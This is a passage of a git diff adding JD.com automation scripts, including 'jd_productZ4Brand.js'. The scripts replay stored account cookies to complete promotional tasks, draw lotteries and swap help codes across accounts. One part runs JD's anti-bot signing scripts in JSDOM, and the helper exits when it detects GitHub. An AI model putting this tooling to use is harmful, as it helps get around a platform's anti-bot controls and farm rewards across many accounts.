Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + const dom = new JSDOM(` + + + + + `, options); + await $.wait(1000) + try { + $.jab = new dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }); + $.signWaap = dom.window.signWaap; + } catch (e) {} +} + +function downloadUrl(url) { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + $.get(options, async (err, resp, data) => { + let res = null + try { + if (err) { + console.log(`⚠️网络请求失败`); + } else { + res = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}`); + resolve() + }) +} + +function taskUrl(functionId, body, h5st = '', time = Date.now()) { + return { + url: `${JD_API_HOST}api?appid=siteppM&functionId=${functionId}&forcebot=&t=${time}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}&h5st=${encodeURIComponent(h5st)}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://msitepp-fm.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://msitepp-fm.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_productZ4Brand.js b/jd_productZ4Brand.js new file mode 100644 index 0000000..eba1e58 --- /dev/null +++ b/jd_productZ4Brand.js @@ -0,0 +1,359 @@ +/** + 特务Z + 脚本没有自动开卡,会尝试领取开卡奖励 + cron 23 8,9 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_productZ4Brand.js + 一天要跑2次 + */ +const $ = new Env('特务Z'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + await $.wait(1000); + } + if($.allInvite.length > 0 ){ + console.log(`\n开始脚本内互助\n`); + } + cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 